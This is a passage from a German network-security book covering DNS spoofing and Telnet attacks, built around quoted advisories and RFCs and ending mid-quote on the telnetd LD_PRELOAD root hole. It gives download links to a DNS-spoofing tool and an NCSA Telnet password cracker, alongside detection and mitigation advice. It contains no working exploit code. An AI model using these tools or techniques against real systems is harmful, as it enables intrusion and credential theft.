26.8 DNS-Spoofing
Beim DNS-Spoofing legt der Cracker den DNS-Server offen und ändert explizit die Tabellen zur
Zuordnung von Hostnamen und IP-Adressen. Diese Änderungen werden in die
Übersetzungstabellen-Datenbanken auf dem DNS-Server geschrieben. Wenn ein Client also eine
Auflösung eines Hostnamens anfordert, erhält er eine gefälschte Adresse; diese Adresse ist die
IP-Adresse eines Rechners, der sich komplett unter der Kontrolle des Crackers befindet.
Die Wahrscheinlichkeit, daß so etwas passiert, ist relativ gering. Aber wenn es passiert, könnte es zu
einer großen Gefährdung führen. Man sollte sich aufgrund der Seltenheit solcher Angriffe nicht in
Sicherheit wiegen. Weiter vorne in diesem Kapitel habe ich ein DDN- Advisory zitiert, das eine Vielzahl
von Angriffen gegen DNS-Rechner dokumentiert hat. Auch ein wichtiges CIAC-Advisory greift dieses
Spoofing-Attacken
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Thema auf:
Obwohl Sie vielleicht momentan bereit sind, die mit der Verwendung dieser Dienste
verbundenen Risiken zu akzeptieren, sollten Sie die Auswirkungen berücksichtigen, die
gefälschte DNS-Informationen haben könnten... Eindringlinge können BIND durch
Spoofing-Attacken dazu bringen, falsche Namensdaten auszugeben. Einige Systeme und
Programme sind für die Authentifizierung auf diese Informationen angewiesen, so daß es
möglich ist, diese Systeme zu täuschen und sich unbefugten Zugriff zu verschaffen.
Wegweiser:
Der obige Abschnitt ist ein Auszug aus dem CIAC-Advisory mit dem Titel »Domain Name Service
Vulnerabilities«. Sie finden es online unter http:// ciac.llnl.gov/ciac/bulletins/g-14.shtml.
DNS-Spoofing wurde zumindest auf einigen Plattformen inzwischen automatisiert. Es gibt ein Utility mit
Namen Jizz, geschrieben von Nimrood (und basierend auf Code von Johannes Erdfelt). Sie können es
sich von folgender Adresse herunterladen:
http://dewmed.ml.org/online/jizz.c
Es gibt ein interessantes Dokument, das eine mögliche neue Technik des DNS-Spoofing behandelt -
»Java Security: From HotJava to Netscape and Beyond« von Drew Dean, Edward W. Felten und Dan S.
Wallach. Bei dieser Technik ruft ein Java-Applet wiederholt den Rechner des Angreifers auf, der
eigentlich ein geknackter DNS-Server ist. Auf diese Weise ist es schließlich möglich, DNS-Anfragen
von dem Default-Name-Server an einen nicht vertrauenswürdigen umzuleiten. Von dort aus kann der
Angreifer den Client oder das Netzwerk offenlegen. (Dieser Bug wurde Berichten zufolge in Version
1.02 behoben.)
Wegweiser:
»Java Security: From HotJava to Netscape and Beyond« finden Sie unter
http://www.cs.princeton.edu/sip/pub/oakland-paper-96.pdf.
Es ist jedoch ziemlich leicht, DNS-Spoofing zu entdecken. Wenn Sie einen der DNS-Server unter
Verdacht haben, sollten Sie die anderen maßgeblichen DNS-Server des Netzwerks pollen. Wenn der
ursprünglich betroffene Server nicht bereits seit einiger Zeit offengelegt ist, wird es sofort Anzeichen
dafür geben, daß er Opfer einer Spoofing-Attacke geworden ist. Andere maßgebliche Server werden
Antworten geben, die von denen des geknackten DNS- Servers abweichen.
Das Pollen ist vielleicht nicht ausreichend, wenn der ursprünglich betroffene Server bereits seit geraumer
Zeit offengelegt ist. Die gefälschten Adresse/Hostname-Tabellen könnten bereits an andere DNS-Server
des Netzwerks weitergeleitet worden sein. Wenn Sie irgendwelche Unstimmigkeiten bei der
Namensauflösung bemerken, können Sie ein Script-Utility namens DOC (domain obscenity control)
einsetzen. In der Dokumentation dieses Utilities heißt es:
DOC ist ein Programm, das ein Fehlverhalten von Domains diagnostiziert, indem es
Anfragen an die entsprechenden Domain-Name-Server aussendet und die daraufhin
erfolgten Ausgaben einer Reihe von Analysen unterzieht.
Spoofing-Attacken
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Wegweiser:
DOC finden Sie unter ftp://coast.cs.purdue.edu/pub/tools/unix/
doc.2.0.tar.Z.
Andere Techniken zur Abwehr von DNS-Spoofing-Attacken beinhalten die Verwendung von
umgekehrten (reverse) DNS-Schemata. Dabei wird versucht, die umgekehrte mit der normalen Suche
abzugleichen. Diese Technik hat jedoch wahrscheinlich nur begrenzten Nutzen. Aller Wahrscheinlichkeit
nach hat der Cracker sowohl die normalen als auch die umgekehrten Tabellen verändert.
26.9 Zusammenfassung
Spoofing ist inzwischen eine beliebte Angriffsart, und wenn es von außerhalb des Netzwerks erfolgt,
hinterläßt es relativ wenig Spuren. Sie sollten zumindest scheinbare lokale Anfragen abblocken, die von
außerhalb Ihres Netzwerks stammen, und Sie sollten - wie immer - Utilities zur Protokollierung
einsetzen. Schließlich empfehle ich Ihnen noch, immer die neuesten Advisories zu lesen - insbesondere
die von Ihrem Router-Hersteller. Neue Spoofing- Attacken kommen alle paar Monate zum Vorschein.
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Kapitel
27
Telnet-basierte Angriffe
Dieses Kapitel beschäftigt sich mit den Angriffen, die sich über die Jahre auf Basis des Telnet-Dienstes
entwickelt haben. Das Telnet-Protokoll wurde zum ersten Mal 1980 von Jan Postel umfassend definiert.
Im RFC 764 schrieb Postel:
Der Zweck des Telnet-Protokolls ist die Bereitstellung einer recht allgemeinen,
bidirektionalen, byte-orientierten Kommunikationsmöglichkeit. Sein Hauptziel ist es, eine
Standardmethode zur Kommunikation zwischen Terminal-Geräten und
Terminal-orientierten Prozessen zu ermöglichen. Es ist vorstellbar, daß das Protokoll auch
für die Terminal-Terminal-Kommunikation (»Linking«) und die
Prozeß-Prozeß-Kommunikation (verteilte Berechnungen) verwendet werden wird.
Wegweiser:
RFC 764 finden Sie im Web unter http://sunsite.auc.dk/RFC/rfc/
rfc764.html.
27.1 Telnet
Wie bereits in Kapitel 4, »Ein kurzer Überblick über TCP/IP«, erwähnt, ist die Konzeption von Telnet
einzigartig, wenn man von rlogin einmal absieht. Telnet soll einem Benutzer ermöglichen, sich an einem
fremden Rechner einzuloggen und dort Befehle auszuführen. Telnet (wie auch rlogin) funktioniert so, als
würden Sie persönlich vor der Konsole des entfernten Rechners sitzen.
Hinweis:
Benutzer von Microsoft-Betriebssystemen können ein Gefühl dafür bekommen, indem sie sich
Programme wie PCAnywhere oder CloseUp ansehen. Mit diesen können Sie sich entfernt an einem
anderen PC einloggen und am C:-Prompt des entfernten Rechners Befehle ausführen (oder sogar in
Windows, wenn Sie eine ausreichend schnelle Verbindung haben, so daß die Grafiken übertragen
werden können).
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27.1.1 Virtuelles Terminal
Das Besondere an Telnet ist, daß es eine ASCII-Terminalverbindung zwischen zwei Rechnern simuliert,
die weit voneinander entfernt sind. Das geschieht mit Hilfe eines virtuellen Terminals, wie Postel es in
RFC 854 beschreibt:
Wenn eine Telnet-Verbindung hergestellt wird, wird von jedem Ende angenommen, daß es
von einem »Network Virtual Terminal« (NVT) stammt oder dort endet. Ein NVT ist ein
imaginäres Gerät, das eine standardisierte, netzwerkweite Zwischenrepräsentation eines
kanonischen Terminals darstellt.... Das NVT ist ein bidirektionales, zeichenorientiertes
Gerät. Es hat einen Drucker und eine Tastatur. Der Drucker reagiert auf ankommende
Daten, und die Tastatur erzeugt ausgehende Daten, die über die Telnet-Verbindung
gesendet werden und - wenn »Echos« gewünscht werden - auch an den Drucker des NVT.
Es wird von »Echos« nicht erwartet, daß sie das Netzwerk durchqueren (obwohl es die
Möglichkeit gibt, einen »entfernten« Echo- Modus zu aktivieren, ist es für keinen Host
zwingend erforderlich, diese Option zu implementieren). Als Codesatz wird 7-Bit US-ASCII
in einem 8-Bit-Feld verwendet, mit Ausnahme der hier beschriebenen Modifizierungen. Alle
Code-Konvertierungen und Timing-Überlegungen sind lokale Probleme und betreffen den
NVT nicht.
Wegweiser:
Lesen Sie das gesamte RFC 854 unter http://sunsite.auc.dk/RFC/rfc/
rfc854.html.
Ein virtuelles Terminal ist das Äquivalent (zumindest vom Anschein her) einer Direktverbindung zweier
Rechner per Kabel über die seriellen Schnittstellen. Sie können z.B. etwas einer Telnet-Sitzung sehr
ähnliches simulieren, indem Sie die respawn-Anweisungen in der inittab-Datei auf einem Linux-Rechner
(und den meisten anderen Unix-Rechnern) auskommentieren, oder indem Sie den Monitor und die
Tastatur von einer SparcStation entfernen und ein VT200-Terminal an die serielle Schnittstelle A oder B
anschließen. Im ersten Fall wird ein login:-Prompt ausgegeben. Im zweiten Fall werden alle Meldungen
des Bootvorgangs an das verbundene Terminal als Echo übertragen, ein boot-Prompt wird ausgegeben
(oder, wenn das richtige SCSI-Festplattenlaufwerk als Bootgerät im PROM angegeben ist, wird der
Rechner booten und einen login:-Prompt ausgeben).
Deshalb gehören Telnet-basierte Verbindungen zu den sogenannten rudimentären Verbindungen. Telnet-
und Terminal-Sitzungen sind vollkommen textbasiert. Außerdem haben Telnet-Verbindungen ohne die
Zuhilfenahme eines textbasierten Browsers wie Lynx keine Möglichkeiten zur Interpretation von
darstellungsorientierten Sprachen wie HTML. Deshalb erhalten Sie, wenn Sie per Telnet eine Webseite
anfordern, keine Bilder oder nett formatierten Text, sondern nur den Quelltext des Dokuments (außer
natürlich, wenn Sie Lynx verwenden).
Hinweis:
Lynx ist ein vollständig Terminal-basierter HTML-Browser zur Verwendung mit Shell-Account- oder
sogar auf DOS basierenden TCP/IP-Verbindungen. Er bietet eine sehr schlichte Möglichkeit, auf das
World Wide Web zuzugreifen.
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27.1.2 Die Geschichte der Telnet-Sicherheit
Telnet ist bereits viele Male in Sicherheitsadvisories erwähnt worden. Die Sicherheitsprobleme von
Telnet variieren stark, wobei ein Großteil der Probleme auf Programmierfehler zurückzuführen ist.
Programmierfehler sind jedoch nicht der einzige Grund dafür, warum Telnet in Advisories aufgetaucht
ist. Im August 1989 war das Problem zum Beispiel ein Trojanisches Pferd, wie es in diesem
CERT-Advisory heißt:
Viele an das Internet angebundene Computer haben vor kurzem Probleme durch
unautorisierte Systemaktivitäten bekommen. Untersuchungen haben gezeigt, daß diese
Aktivitäten bereits seit einigen Monaten auftreten und sich weiter ausbreiten. Bei mehreren
Unix-Rechnern wurden die Telnet-Programme von unberechtigten Personen durch
Telnet-Programme ersetzt, die externe Login-Sitzungen protokollieren (einschließlich
Benutzernamen und Paßwörtern entfernter Systeme). Es sieht so aus, als sei sich zu vielen
der Rechner, die in diesen Sitzungsprotokollen auftauchen, Zugang verschafft worden.
Wegweiser:
Das vollständige CERT-Advisory finden Sie unter http://www.sw.com.sg/
Download/cert_advisories/CA-89:03.telnet.breakin.warning.
Diese Angriffe erfolgten kurz vor der Gründung des DDN Security Coordination Center (im September
1989), weshalb kaum dokumentiert ist, ob auch Rechner der US-Regierungsbehörden betroffen waren.
Anders als die CERT-Advisories enthalten die DDN-Advisories oft eine technischere Analyse der
Probleme.
Im März 1991 fand man heraus, daß der telnetd-Daemon bestimmter Sun-Distributionen fehlerhaft war.
In einem CERT-Advisory steht:
Das Computer Emergency Response Team/Coordination Center (CERT/CC) hat
Informationen von Sun Microsystems, Inc., hinsichtlich einer Schwachstelle erhalten, die die
SunOS-in.telnetd-Versionen 4.1und 4.1.1 aller Sun-3- und Sun-4-Architekturen betrifft.
Diese Sicherheitslücke betrifft außerdem die SunOS-4.0.3-Versionen sowohl von in.telnetd
als auch in.rlogind auf allen Sun-3- und Sun-4-Architekturen. Soweit uns bekannt ist,
existiert keine Sicherheitslücke bei den SunOS-4.1- und 4.1.1- Versionen von in.rlogind. Die
Sicherheitslücke wurde von Sun Microsystems, Inc., behoben.
Wegweiser:
Das vollständige CERT-Advisory (»SunOS in.telnetd Vulnerability«) finden Sie unter
ftp://info.cert.org/pub/cert_advisories/CA-91%3A02a.
SunOS.telnetd.vulnerability.
Tip:
Wenn Sie eine alte Sun 3/60 kaufen, möchten Sie sich wahrscheinlich die Patches besorgen. Sie sind in
dem oben genannten Advisory enthalten.
Monate später wurde entdeckt, daß eine spezielle LAT/Telnet-Anwendung von Digital Corporation
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ebenfalls einen Fehler hatte. In dem CERT-Advisory heißt es:
Es gibt eine Schwachstelle der Art, daß ULTRIX-Systeme 4.1 und 4.2, auf denen die
LAT/Telnet-Gatewaysoftware läuft, unbefugten Zugriff ermöglichen können... Jeder, der
Zugriff auf ein Terminal oder Modem erhalten kann, das mit dem LAT-Server verbunden ist,
auf dem der LAT/Telnet-Dienst läuft, kann unautorisiert an Root-Privilegien gelangen.
Wegweiser:
Dieses CERT-Advisory (»ULTRIX LAT/Telnet Gateway Vulnerability«) finden Sie unter
ftp://info.cert.org/pub/cert_advisories/CA-91%3A11.Ultrix.LAT-Telnet.gateway.vulnerability .
Das erste Telnet-Problem, das Auswirkungen auf den Durchschnittsbenutzer hatte, hing mit einer
Distribution des NCSA-Telnet-Clients für PCs und Macintosh-Rechner zusammen. Damit es hier nicht
zu Mißverständnissen kommt: Dies war eine Client-Telnet-Applikation, die über einen integrierten
FTP-Server verfügte. Das Sicherheitsloch wurde hauptsächlich dadurch gefördert, daß die Benutzer nicht
richtig verstanden hatten, wie diese Anwendung funktionierte. Die Leute bei DDN schrieben folgendes
dazu:
Die Default-Konfiguration von NCSA Telnet für sowohl den Macintosh als auch PCs hat
eine ernste Sicherheitslücke in ihrer Implementierung eines FTP-Servers... Jeder
Internet-Nutzer kann sich über FTP mit einem PC oder Macintosh verbinden, auf dem die
Default-Konfiguration von NCSA Telnet läuft, und unbefugt Lese- und
Schreibberechtigungen für alle Dateien dieses Rechners erhalten, auch die Systemdateien.
Das Problem hing mit einer Konfigurationsdatei zusammen, in der man den integrierten FTP-Server
aktivieren oder deaktivieren konnte. Die meisten Benutzer nahmen an, daß der Server nicht aktiviert sei,
wenn keine Angabe zur Aktivierung vorhanden war. Das war jedoch ein Irrtum. Durch Weglassen dieser
Zeile (genau wie durch Hinzufügen von ftp=yes) erlaubte man jeder unbefugten Person Lese- und
Schreibzugriff auf die Dateien seiner Festplatte.
Dies wird hoffentlich dem Streit darüber ein Ende setzen, ob ein PC-Benutzer von der Außenwelt
angegriffen werden kann. Im Usenet wurde schon tausendfach über diese Frage gestritten. Die
NCSA-Telnet-Panne war nur eine von vielen Situationen, in denen ein PC- oder Mac-Benutzer aus dem
Nichts heraus angegriffen werden kann. Unter bestimmten Umständen kann auch der durchschnittliche
Anwender an seinem PC zu Hause zum Opfer eines Angriffs werden. Jemand könnte in der Lage sein,
Ihre Dateien zu lesen, zu löschen und so weiter.
Das Interessante dabei ist, daß sogar heute noch jeder, der die NCSA-Telnet-Anwendung benutzt, einem
gewissen Risiko ausgesetzt ist, auch wenn er nur sogenannten autorisierten Personen Zugriff auf den
FTP-Server gewährt. Wenn der Cracker sich von dem Zielsystem einen gültigen Benutzernamen und das
dazugehörige Paßwort besorgen kann (und der Crakker daraufhin ein autorisierter Benutzer ist), kann er
an die Datei FTPPASS gelangen. Das ist eine Datei zur Authentifizierung, in der die Benutzernamen und
Paßwörter der Benutzer abgelegt sind. Die verschlüsselten Paßwörter in dieser Datei sind leicht zu
knacken.
Der Benutzername wird in dieser Datei nicht in verschlüsselter Form gespeichert (nur wenige
Programme verschlüsseln Benutzernamen). Das Paßwort ist zwar verschlüsselt, aber das
Verschlüsselungsschema ist sehr dürftig. Wenn das Paßwort z.B. aus weniger als sechs Zeichen besteht,
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kann man es innerhalb von wenigen Sekunden knacken. Das Knacken solcher Paßwörter ist sogar so
trivial, daß man es mit einem 14 Zeilen langen BASIC-Programm erledigen kann.
Wegweiser:
Das BASIC-Programm zum Knacken von Paßwörtern finden Sie unter
http://www.musa.it/gorgo/txt/NCSATelnetHack.txt.
Wenn Sie ein Mac- oder PC-Benutzer sind und momentan NCSA Telnet (mit dem FTP-Server)
verwenden, sollten Sie den FTP-Zugriff jedem verweigern, dem Sie nicht vertrauen. Wenn Sie diese
Warnung ignorieren, können Sie leicht Opfer eines Angriffs werden. Stellen Sie sich einmal die Situation
vor, daß eine einzige Person in einem Netzwerk NCSA Telnet verwendet. Sogar wenn der Rest des
Netzwerks eigentlich sicher ist, würde dies die Sicherheit des gesamten Netzwerks gefährden. Da diese
Anwendung keine Protokollierung vornimmt, werden zudem bei einem Einbruch noch nicht einmal
Spuren hinterlassen. Jedes Netzwerk, in dem diese Applikation läuft, kann angegriffen, lahmgelegt oder
zerstört werden, und niemand wird in der Lage sein, den Eindringling zu identifizieren.
Das interessanteste Telnet-Sicherheitsloch, das je entdeckt wurde, war mit der Option der Weitergabe
von Umgebungsvariablen verbunden. Das DDN-Bulletin dazu wurde am 20. November 1995 gepostet:
In einigen Versionen des Telnet-Daemons, die RFC 1408 oder 1572 (beide mit dem Titel
»Telnet Environment Option«) unterstützen und auf Systemen laufen, die auch die
gemeinsame Nutzung von Objekt-Bibliotheken (shared object libraries) unterstützen,
existiert eine Sicherheitslücke... Lokale und entfernte Benutzer mit oder ohne lokale
Accounts können sich auf dem Zielsystem Root-Zugang verschaffen.
Viele Sites sind von dieser Sicherheitslücke betroffen. Um das Problem verstehen zu können, müssen Sie
den Begriff Umgebung richtig verstehen. Im Unix-Jargon bezieht sich dieser Begriff im allgemeinen auf
die Umgebung der Shell (d.h. welche Shell Sie standardmäßig benutzen, welche Terminal-Emulation Sie
verwenden und so weiter).
Hinweis:
DOS/Windows-Benutzer können dies vielleicht am besten verstehen, wenn sie über einige der Angaben
in den Dateien AUTOEXEC.BAT und CONFIG.SYS nachdenken. Die Variablen werden dort mit Hilfe
des SET-Befehls gesetzt, wie in SET PATH=C:\;C:\WINDOWS; (die PATH-Umgebungsvariable ist eine
von mehreren, die in der DOS-Umgebung spezifiziert werden können). Diese Angaben definieren, wie
Ihre Programmumgebung aussehen wird, wenn Sie in den Befehlsmodus booten. Einige übliche
Umgebungsvariablen, die Sie auf diese Weise setzen können, sind Shell, Pfad, Zeitzone etc.
Ändern der Umgebung
In Unix kann man sich die Umgebung ansehen oder diese verändern, indem man den Befehl env
verwendet. Hier ist ein Beispiel für die Ausgabe, die Sie dann sehen könnten.
> env
ignoreeof=10
HOSTNAME=samshacker.samshack.net
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LOGNAME=tr
MINICOM=-c on
MAIL=/spool/mail/samshack
TERM=ansi
HOSTTYPE=i386-linux
PATH=/usr/local/bin:/bin:/usr/bin:.:/sbin:/usr/sbin:.
HOME=/usr/local/etc/web-clients/samshacker/./
SHELL=/bin/bash
LS_OPTIONS=--8bit --color=tty -F -T 0
PS1=\h:\w\$
PS2=>
TAPE=/dev/nftape
MANPATH=/usr/local/man:/usr/man/preformat:/usr/man:/usr/X11/
[ic:ccc]man:/usr/openwin/man
LESS=-MM
OSTYPE=Linux
OPENWINHOME=/usr/openwin
SHLVL=2
BASH=/bin/bash
LS_COLORS=
_=/bin/csh
PWD=/usr/local/etc/web-clients/samshacker/./
USER=tr
HOST=samshack
Dieses Listing ist eine sehr umfangreiche Ausgabe auf einem Rechner, auf dem wahrscheinlich mehrere
virtuelle Domains eingerichtet sind. Sie erkennen einen Hinweis darauf an dem vermeintlich nutzlos
angehängten /./ am HOME-Verzeichnis des Benutzers. Dieses Suffix hat aber für manche
Implementationen des ftp-Daemons eine spezielle Bedeutung: Der Benutzer kann die Verzeichnisse
unterhalb dieses Pfads nicht verlassen, wenn er sich per ftp eingeloggt hat. Das ist insbesondere dann
nutzbringend, wenn mehrere Benutzer oder Firmen Zugang zu dem Rechner haben und voneinander
getrennt bleiben sollen. Bei virtuellen Hosts oder Domains ist das meistens der Fall. Ein reiner
Shell-Rechner liefert eine überschaubarere Ausgabe:
samshacker% /usr/ucb/printenv
HOME=/home/hacker
HZ=100
LOGNAME=hacker
MAIL=/var/mail/hacker
PATH=/usr/bin:
SHELL=/sbin/sh
TERM=ansi
TZ=US/Pacific
PWD=/home/hacker
USER=hacker
Diese Ausgabe stammt von einer SPARCstation 10, auf der ich zum Schein einen Shell- Account
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eingerichtet habe (das erste Beispiel war ein Linux-Rechner). Dies ist eine sehr abgespeckte Umgebung.
Die PATH-Angabe (Zeile 6) zeigt nur auf /usr/bin. Das ist eigentlich unzweckmäßig, da es auf einem
Unix-System sehr viel mehr Binärdateien gibt als nur die in /usr/bin befindlichen. Zum Beispiel gibt es
noch welche in /usr/sbin, /usr/bin/X11 und so weiter. Sie können sehen, daß sogar der Befehl (printenv)
durch Angabe des gesamten absoluten Pfads erteilt wurde (/usr/ucb/printenv). Der Befehl env befindet
sich im Verzeichnis /usr/bin.
Hinweis:
Die PATH-Angabe funktioniert bei Unix fast genauso wie die von DOS. Verzeichnisse, die Sie gerne im
Pfad hätten, müssen in der PATH-Zeile angegeben und durch Doppelpunkte (statt Semikolons) getrennt
werden. Durch die Angabe dieser Verzeichnisse in der PATH-Zeile geben Sie dem Benutzer die
Möglichkeit, auf Befehle innerhalb dieser Verzeichnisse zuzugreifen (wobei es keine Rolle spielt, in
welchem Verzeichnis er sich gerade befindet).
Terminal-Emulation
Andere in dem obigen Beispiel gesetzte Variablen sind HOME, MAIL, SHELL und TERM. TERM ist
eine der wichtigsten Variablen und gibt die Art der Terminal-Emulation an, die Sie verwenden werden.
Da vielleicht nicht jeder von Ihnen weiß, was eine Terminal-Emulation ist, möchte ich dies kurz erklären.
Vor Jahren waren die meisten Server Großrechner (Mainframes). Damals hatten die Benutzer keine
leistungsfähigen PCs, die mit dem Großrechner verbunden waren, sondern Terminals, die
(normalerweise) aus Rechnern ohne Festplatte bestanden. Es waren eigentlich nur Datensichtgeräte, bei
denen Bildschirm und Tastatur oft eine Einheit bildeten. Auf der Rückseite der Terminals gab es eine
Reihe von Anschlüssen, die unterschiedliche Verbindungsarten ermöglichten. Eine beliebte Methode war
eine rudimentäre serielle Verbindung, die einzig und allein aus einem Kabel zur direkten Verbindung
über die seriellen Schnittstellen bestand. Andere Terminals hatten Netzwerkkarten, die über
Netzwerkkabel mit dem Großrechner verbunden waren (z.B. Ethernet).
Auf jeden Fall hatten diese Terminals eine sehr eingeschränkte Funktionalität (zumindest verglichen mit
durchschnittlichen PCs). Auf der Hauptplatine eines solchen Terminals befand sich ein wenig
Arbeitsspeicher und Firmware (auf der Platine gespeicherte Software). Diese Firmware bot dem
Benutzer einige Möglichkeiten. Man konnte z.B. die Geschwindigkeit und Art der Verbindung einstellen,
das lokale Echo (de)aktivieren und so weiter. Manchmal konnte man auch den verwendeten Druckertyp
einstellen, oder den Port, von dem die Daten gesendet werden sollten.
Tip:
Solche Terminals werden in bestimmten Usenet-Newsgruppen immer noch verkauft. Wenn Sie z.B.
Student und knapp bei Kasse sind und Ihnen eine Form des Ethernet- oder sogar seriellen Anschlusses
an den Server Ihrer Uni angeboten wurde, und dieser Server-Account ein Shell-Account ist, sollten Sie
sich ein Terminal besorgen. So können Sie für wenig Geld einen High-Speed-Zugang zum Internet
erhalten. Sie können zwar im allgemeinen nichts auf eine Festplatte speichern, aber Sie können
immerhin ausdrucken, was Sie auf dem Bildschirm gerade sehen. Sie werden staunen, wie schnell sich
die Seiten aufbauen. Das sind ideale Voraussetzungen für Internet Relay Chat (IRC). Diese Terminals
sind klein, billig und schnell.
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Die beiden bekanntesten Terminals waren das Tektronix 4010 und das VT100 (und das IBM 3270, das
ein bißchen unterschiedlich war). Sie konnten eine festgelegte Anzahl von Zeichen pro Zeile und Zeilen
pro Bildschirm anzeigen. Die meisten Terminals hatten zwei unterschiedliche Einstellungsmöglichkeiten
für die Darstellung. Später gab es sogar ein Terminal, das Spalten und schließlich sogar Grafiken
darstellen konnte (das Tektronix war grafikorientiert).
Da diese Terminals zur Standardmethode der Verbindung mit Großrechnern wurden, drangen sie auch in
die Unix-Welt vor. Deshalb haben alle Unix-Betriebssysteme Tastatur- und Bildschirm-Mappings für
Terminals. Mappings sind Beschreibungen der Bildschirm- und Tastatureinstellungen. Darin wird z.B.
angegeben, wie viele Zeilen und Spalten pro Bildschirm dargestellt werden können, oder - noch
wichtiger - welche [Strg]-Tastenkombinationen für welche Sonderzeichen stehen. Letztere sind
erforderlich, weil bestimmte Terminals mehr Tasten verwenden, als auf einer normalen PC- oder
Mac-Tastatur dargestellt sind. Zum Beispiel gibt es zusätzlich zu den Funktionstasten noch spezielle
[P]-Tasten, mit denen bestimmte Aktionen ausgeführt werden, wie die Aktivierung von Menüs oder die
Navigation des Cursors in Datenbanken. Um diese Tasten auf einem PC nachahmen zu können, werden
ihre Funktionen dort bestimmten Tastenkombinationen zugewiesen.
Bei Unix werden die Terminal-Mappings normalerweise in der Datei termcap gespeichert. Die
Termcap-Library ist ein sehr wichtiger Bestandteil des Systems. Ohne sie wären viele Rechner nicht in
der Lage, ordentlich miteinander zu kommunizieren. Wenn Sie z.B. ein frisch installiertes Linux-System
haben und keine Änderungen der TERM-Variablen vornehmen, wird sie auf Linux gesetzt. Wenn Sie
dann eine Telnet-Verbindung zu einer SPARCstation (oder einem anderen Rechner, der auch seine
Default-Einstellung von TERM behalten hat) herstellen, werden Sie nicht in der Lage sein, den
Bildschirm mit dem bekannten Befehl clear zu löschen. Der Grund dafür ist, daß die beiden
Einstellungen für die Terminal-Emulationen nicht kompatibel sind. Wenn Sie versuchen, ein Programm
wie PINE auszuführen - das kompatible Terminal-Typen voraussetzt - wird das Programm mit einer
Fehlermeldung abbrechen, die besagt, daß Ihr Terminal nicht unterstützt wird. (Alle neueren Systeme
verwenden anstelle der alten /etc/termcap-Datei das terminfo-System, welches aus einem ganzen Baum
von Beschreibungsdateien unter /usr/lib/terminfo oder /usr/share/lib/terminfo besteht. Näheres dazu
finden Sie in der Unix-Man-Page zu terminfo.)
Warnung:
Viele Unix-Distributionen haben vollständige termcap-Listings, die manchmal Hunderte von
Terminal-Emulationen enthalten. Wenn Sie ein Unix-Neuling sind und mit dem Gedanken spielen, Ihre
termcap-Einträge zu ändern, sollten Sie äußerst vorsichtig sein. Sie könnten zu sehr bizarren
Ergebnissen kommen. In einigen Fällen kann etwas, das einmal wie ein nett formatierter Text
ausgesehen hat, als eine seltsame Anordnung von verstreuten Textblökken dargestellt werden, die kaum
mehr lesbar sind. Sie sollten unbedingt die entsprechende ManPage sorgfältig studieren, bevor Sie
anfangen, Ihre termcap-Datei zu verändern.
Man kann viele unterschiedliche Umgebungsvariablen setzen. Diese Variablen haben einen starken
Einfluß darauf, wie ein entfernter Rechner Ihre Telnet-Verbindung empfangen, verarbeiten und
unterstützen wird. Deshalb wurde im Telnet-Protokoll die Möglichkeit vorgesehen, bestimmte
Umgebungsvariablen zum Zeitpunkt der Verbindungsherstellung übergeben zu können. In RFC 1408 ist
dies folgendermaßen beschrieben:
Viele Betriebssysteme haben Startinformationen und Umgebungsvariablen, die
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Informationen enthalten, die beim Herstellen einer Telnet-Verbindung an den entfernten
Rechner übergeben werden sollen. Statt jedesmal eine neue Telnet-Option zu erzeugen,
wenn jemand mit einer neuen Information auftaucht, die über eine Telnet-Sitzung
übermittelt werden sollte, von der die Telnet-Sitzung selbst aber gar nichts wissen muß,
kann diese generische Informationsoption verwendet werden.
Wegweiser:
Das gesamte RFC 1408 finden Sie unter http://sunsite.auc.dk/RFC/rfc/ rfc1408.html.
Das vor kurzem entdeckte Telnet-Sicherheitsloch basierte auf der Fähigkeit eines Telnet- Servers, diese
Umgebungsvariablen zu empfangen, auf sie zu reagieren und ihre Übergabe zu autorisieren. Da diese
Option bei Unix-Systemen so verbreitet ist, waren unglaublich viele Plattformen von dieser
Sicherheitslücke betroffen.
Diese Schwachstelle tritt häufiger auf, als man erwarten würde. In einem ziemlich spannenden Bericht
hat die Firma Novatech die Ergebnisse eines Sicherheitsaudits von einem Netzwerk mit 13 Hosts
präsentiert. Darin taucht die Telnet-Sicherheitslücke auf - und 138 weitere Sicherheitslöcher. Das
bemerkenswerteste daran ist, daß dieser Site bereits eine gute Sicherheit bescheinigt worden war,
komplett mit Firewall. In Novatechs Auditbericht heißt es:
Dies ist eine Kopie eines Sicherheitsberichts mit Definitionen und Lösungsmöglichkeiten der
entdeckten Probleme. Das Netzwerk verfügt über eine hochmoderne Firewall und wurde
von CERT überprüft. Wie Sie sehen können, gab es eine Vielzahl kleinerer Probleme und
auch ein größeres. Dies war nicht auf Fehler bei der Systemadministration zurückzuführen,
sondern auf ein Zusammentreffen der Tatsache, daß sich Systeme dauernd ändern und
deshalb ständige Aufmerksamkeit erfordern, und mangelndem Wissen darüber, wie
Eindringlinge sich Zugang verschaffen (ein Spezialgebiet). Wir können Ihr System auf fast
300 unterschiedliche Schwachstellen untersuchen, die alle auf einem Zugang über das
Internet beruhen.
Wegweiser:
Wenn Sie gegenüber Sicherheitsfragen eher eine Mentalität der Art »abwarten und Tee trinken« haben,
sollten Sie diese Site sofort aufsuchen und sich die Ergebnisse des Audits ansehen. Sie sind frappierend.
Sie finden die Ergebnisse des Audits unter http://www.novatech.net.au/sample.htm.
Die Zeile, die diese auf der Umgebungsvariablen-Option basierende Telnet-Sicherheitslücke offenbart,
sieht folgendermaßen aus:
Dynamic Linker Telnet Vulnerability [High Risk]2
Diese Zeile sagt aus, daß eine Telnet-Sicherheitslücke der Risiko-Kategorie 2 gefunden wurde (in dem
oben zitierten Audit wurde diese Sicherheitslücke gleich bei zwei Hosts innerhalb desselben Teilnetzes
gefunden). [High Risk]2 bezeichnet die Schwere der Sicherheitslücke und steht für ein extrem hohes
Risiko. Machen Sie sich folgendes noch einmal deutlich: Diese Lücke wurde auf einem Host mit einer
modernen Firewall gefunden!
Um die zugrundeliegende Methode verstehen zu können, müssen Sie genau wissen, welche Optionen
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von den Clients an den Server übergeben werden können. Eine Möglichkeit ist die Übergabe einer
eigenen libc.
Hinweis:
libc ist die Standard-C-Bibliothek. Eine vollständige libc-Distribution enthält im allgemeinen
Header- und Include-Dateien zur Verwendung bei der C-Programmierung. Alle Unix-Arten haben diese
Bibliothek installiert und sind ohne die dynamische Version der Bibliothek (shared object library,
libc.so) nicht funktionsfähig. Die statische Version der Bibliothek (libc.a) ist Voraussetzung für
das statische Linken eines Programms, das in der Programmiersprache C geschrieben wurde.
Sam Hartman vom MIT schreibt in seinem Artikel »Telnet Vulnerability: Shared Libraries«:
Das Problem ist, daß telnetd es dem Client erlaubt, LD_LIBRARY_PATH, LD_PRELOAD
